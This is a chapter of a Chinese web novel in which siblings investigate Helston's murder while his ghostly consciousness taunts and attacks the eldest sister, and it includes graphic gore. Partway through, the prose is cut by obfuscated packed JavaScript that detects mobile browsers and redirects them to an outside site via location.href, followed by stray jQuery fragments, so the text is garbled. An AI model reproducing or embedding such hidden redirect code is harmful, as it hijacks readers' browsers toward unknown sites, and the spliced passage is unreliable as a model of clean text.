杀了赫尔斯顿的是研究员。
也对……这样就对了……
敬康宁回想起研究员被他信息素压制的场景。
他作为alpha的第一感觉也是对同性进行的压制。
他的感觉是没有出错的。
那个研究员就是alpha,而且也是高级alpha。
那家伙说的疯言疯语,把ABO全部批判一遍,那是因为他ABO都当过!
但是,
如果赫尔斯顿就是他杀的,但他却不知道赫尔斯顿已经死了。
这可能吗?
一个疯子会在那种情况下说谎吗?
梦岚又有必要对自己说谎吗?
“大姐,我接触过他,他不知道赫尔斯顿已经死亡。”
敬康宁眉头紧锁,
“所以……你真的亲眼见到他杀了赫尔斯顿吗?”
梦岚心中因为赫尔斯顿的笑声而倍感烦躁,却仍然顺着玩家的思路开始思考,
“没有,但按理说只能是他杀的。”
当时,刚刚和赫尔斯顿在会议室大吵一架的梦岚准备在晚上再次尝试劝服他,并准备以生铭塔的名誉作为威胁的筹码。
这样的方式温和无助又卑劣万分,但当时所有的生铭塔命脉都掌握在赫尔斯顿手中,他们所有的不满都只能在他的宽恕范围内抒发。
而当她步入生铭塔的最高层之时,
她只看到了一具不似尸体的尸体。
长发铺散在他身后的实验台上,那俊美无瑕的男人偏着头靠在椅子上,眼眸平静地直视着电梯的方向,唇角仍然带着笑。
他苍白的面部沾着凝固的血迹,后脖颈的腺体被残忍地挖去,连着骨头的碎屑与周边的血肉,残酷暴力。
他身上仍然穿着参加会议时精致得体的深蓝色西装,包裹着他尚且完整的躯干。
一把锋利染血的手术刀静置在他的脚边。
生铭塔最高层的灯光仍然照射在那人的面容上,渲染得他犹如活人,含笑地注视来到这层的人。
“最高层没有监控,但其他层有,我查询了监控,确认在那时间段内‘塞卯’从顶层下来,在实验室有过使用相关设备记录。”
“并且随后他就逃离了生铭塔,不知所踪。”
敬康宁知道,在这之后研究员就被堕落堂○神意司捡到,送到了奇衷那里。
于是,玩家得以在司未的腺体研究社里见到他。
挖去腺体并且移植的人,结合目前信息,可以断定就是研究员。
但是……杀死赫尔斯顿的人真的是研究员吗?
没了腺体,人就一定活不了吗?
“赫尔斯顿的死因是什么?”
玩家询问道。
“颈动脉出血。结合实验分析,那把手术刀就是凶器。”
梦岚疲倦地揉了揉太阳穴。
突然,一双手搭在了她的肩膀上。
冰冷刺骨,力度轻柔。
梦岚撇了一眼孤零零地插在墙上的匕首,内心嗤笑一声。
“想知道真相,为什么不直接问你们的父亲呢?”
赫尔斯顿站在她的身后,微微弓起腰身,低垂着眼。
贵族式的腔调优雅贵气,仿佛能够轻而易举地拨弄所有人的心弦。
他一身深蓝色西装,一如他死时的打扮,黑发带着一缕蓝色的挑染,轻轻垂落在梦岚的肩侧,如同一阵轻盈的风。
他温和地笑着,带着无尽包容的意味。
“孩子们,你们所有的问题我都会解答。”
嘭!
梦岚反手一拳打在他脸上,带起一阵劲风。
而在拳头堪堪有击中的实感时,那身影又骤然散去。
一拳落空,梦岚立刻收力转身,猛然回头,就见那个该死的家伙站在敬康宁的背后。
他理了理衣领,抚平了衣角,又勾起唇角,举手投足像是一个古老的镀金怀表,分毫不差又韵气十足。
他好似悲戚又怜悯地望向他的孩子,
“梦岚,如此失礼的你,终究会失去你在乎的所有。”
梦岚身形骤然一顿。
在小宁的眼中,便是她突然攻击背后,随后用带有浓烈杀意的眼神死死盯着他。
像是一个疯子。
梦岚猛的收手。
小宁……
然而出乎所有人意料的是,
玩家几乎在赫尔斯顿那句话落地的瞬间就反应过来,摸向腰侧瞬间出刃挥向身后!
果断狠辣,没有丝毫犹豫!
玩家眼眸眯起,没有任何切到实体的感觉,切割结束之后,瞬间几步退到梦岚身侧。
而在梦岚的视角里,赫尔斯顿优雅得体的笑容僵在脸上,他的身躯被直接拦腰截断!
血液喷洒而出,血肉组织与器官流了满地,空气混杂着刺激性的铁锈味,充斥她的鼻腔,令人作呕。
赫尔斯顿故意的。
“看来我的攻击有效。”
黑发飘动,玩家根据梦岚的反应推测出了结果。
他警惕地望向四周,手紧紧握住半月刃。
开玩笑,boss出来了还不打?
“他在哪?”
遇事不决问我方视野。
血腥气仍在弥漫,仿佛眼前也染上了血红,梦岚心底愈加烦躁,双眸中的蓝色环不停地闪烁。
啪嗒。
皮鞋踏在浸满鲜血的地板上。
赫尔斯顿站在自己的尸体旁边,踏在自己器官炸出的血红粘液上,将发丝敛到耳后,随后再一次对着梦岚露出笑容,如同初春的清流流淌,融化了冬日的积雪,送来他的“温和”与“善意”。
他笑着,捧着心房感慨着:
“不知不觉,康宁都已经如此出色了,真让我——”
哗——
玩家直接出手,冲着梦岚双眼所向之处出刃。
半月刃从左肩处楔入骨缝,“嗤拉”一声直接撕扯着骨肉到右耳,皮肉纤维根根崩断,森森然血沫喷溅。
“——倍感欣慰。”
连着左半部分肩膀的头颅微笑着说出这句话,“嘭”的一声跌落在地,黏腻的血浆沾着他的眉骨,一股一股滑落到地面,凝聚暗红的坑洼。
梦岚僵硬在原地并无动作,浑身冰冷着,怒火与恶心感交织在胸腔,如同沾满血肉组织的巨锤一下一下撞击心脏。
“还要继续吗?”
地上的两具尸体同时蠕动着嘴唇,“善意”地询问,声音重合在一起,混着浓郁的血腥。
在梦岚的眼中,玩家的面容被粘稠的血浆模糊,喷洒的血雾染红了他的衣衫与刀刃,骨髓的白浆沾满他的裤腿,而他浑然不觉,仍用信任的眼神望着她,请求她的下一步指示。
“还要继续吗?”
这一次,耳边传来了声音,像是情人的耳语,擦着身侧而过。
梦岚猛然扭头,就见赫尔斯顿踏着粘稠的血浆,风姿绰绰地立在她的身侧,嘴角带笑,如同与她一同“赏景”的贵客。
眼中的蓝环收缩变深,化拳为爪如鹰一般直冲他的脖颈!
咔咔。
她的指甲死死楔入他的骨,胸腔克制不住开始剧烈起伏,无名的怒火与精神的脆弱加剧她心脏的绞痛,刺痛的大脑混沌不堪,她几乎从嗓子里挤出音节:
“别 玷 污 我 的 家 人。”
血腥气融入血雾,凝结出令人作呕的污块。
脖颈几乎被尖锐的指甲刺穿,赫尔斯顿深蓝的眼眸中仿佛盛满了世间所有生灵的苦难,他悲悯又心怜,伸出食指抵在了淡色的唇边。
“嘘——”
眼前骤然一黑,身后是那优雅得体,仿佛永远风度翩翩的男人伸手蒙住了她的眼眸。
他靠在她的耳边,声音轻得如同念摇篮曲,
“你太痛苦了,休息一会儿吧。”
面上却是永远带着嘲讽的微笑,笑她的不自量力。
意识逐渐模糊,思绪逐渐涣散,她恍惚间听到谁在呼唤她,但终究无力回应。
她倒在血泊中。
“大姐!”
敬康宁立刻冲向晕倒的梦岚,确认她的身体状况。
体温极低但呼吸平稳,生命体征无碍。
敬康宁点开电子屏就要呼叫生铭塔的医疗部。
但就在手将要点到“呼叫”按钮的那一刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196889|175773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他停住了。
大姐之前没有在生铭塔医疗部久留。
一是意义不大,去医疗部不可能摆脱意识芯片及其带来的负面效果,否则赫尔斯顿的一切行动就没有意义,这些方面他绝对已经考虑到。
二是有些事情不能暴露到人前,生铭塔那么大,难免有钉子插入,堕落堂完全可以在梦岚身体上大做文章,在生铭塔的选票上撕扯下一块肉来。
玩家把大姐抱到她的卧室,放在床上,自己则选择出门去找佑曦去生铭塔取些注射用营养液。
但出乎意料的是,他开门迎面就撞上了一双平静的桃花眸。
那深蓝色之下的一抹暗红。
是梵净音。
他站在门口,正要推门,没想到刚好撞上敬康宁开门。
敬康宁有些错愕。
“二哥?你怎……”
他刚想询问“你怎么来了”,但转念一想他们这边弄出来的声响,凭借顶级alpha的听力完全可以听得到。
“四儿?”
梵净音本人也没想到玩家会在这,他顿时想起来什么,直接了当地问玩家:
“你给我发的消息什么意思?”
什么消息?
敬康宁打开电子屏一看,
【生铭塔○康宁:二哥,咱妈是叫生铭塔○塞卯吗?】
敬康宁一瞬间语塞。
“发错了,你不用管。”
他已经知道“塞卯”是怎么回事了,也不需要问二哥了。
梵净音撇了一眼玩家,倒也没多在意,自顾自地进了梦岚房间。
“四儿,梦岚这是又犯病了吗?”
梵净音扫视了一圈梦岚的房间,看到了室内家具略有凌乱的样子。
犯病……
敬康宁对这样的说法并不是很赞同。
他想到了二哥与大姐在生铭塔掌权人这件事上的误会,于是直言道:
“你别这么说,大姐也有她的苦衷。”
他把赫尔斯顿意识芯片的事情告诉了梵净音。
生铭塔的掌权人会被赫尔斯顿的意识体缠上。
“而且,”
玩家面色逐渐严肃,
“我怀疑大姐的意识会被赫尔斯顿影响。我对意识芯片这种东西不是很了解,生铭塔的科技居然已经能够实现意识的储存了……如果你没有办法摘除意识芯片,那我这边也有……”
“你在以什么样的立场说这些话?”
梵净音突然打断了敬康宁的话,面色沉沉,声音如同被冰冻的刀刃,冷如骨髓。
玩家措不及防被打断,惊愕地望向梵净音。
“你也说了她的意识在受影响,你还她说什么就信什么,就因为她强调那些所谓的‘家人’?生铭塔谁信这个东西?”
梵净音撇开目光,语气加重,鹅黄的灯光为他度上一层光,却也让他的面容藏匿在阴影里。
“二哥?”
玩家皱起眉头望向他,唤了一声。
梵净音一瞬间僵在原地。
随后,仿佛也察觉到了自己情绪的有些失控,他吐出一口气,从兜里拿出一块糖塞到了嘴里。
咔嚓。
糖被尖牙咬碎。
破碎的糖片在口腔中炸出甜味,逐渐缓和了紧绷的神经。
在咀嚼中,他的心情逐渐平复下去。
玩家见他缓和下来,深深地望向他,开口道:
“为什么不相信‘家人’这些话?”
梵净音回视他,看他那与生铭塔○康宁别无二致的眉眼,看他那令他陌生的眼眸。
他无奈地笑了笑,
“正是因为我不相信,我才能接受你。”
他意有所指地扫了眼梦岚所在地卧室,
“她现在被赫尔斯顿耗着,没时间管你的问题,一旦她清醒过来……”
他对着玩家,情绪在他眼底翻涌,涌出那难以掩饰的暗红,如同深海之下隐藏的熔岩,滚烫炙热,危及性命。
“她有多在乎‘家人’,你就会死得多惨。”
他勾起唇角,对着他缓慢地比着口型:
敬
康
宁
。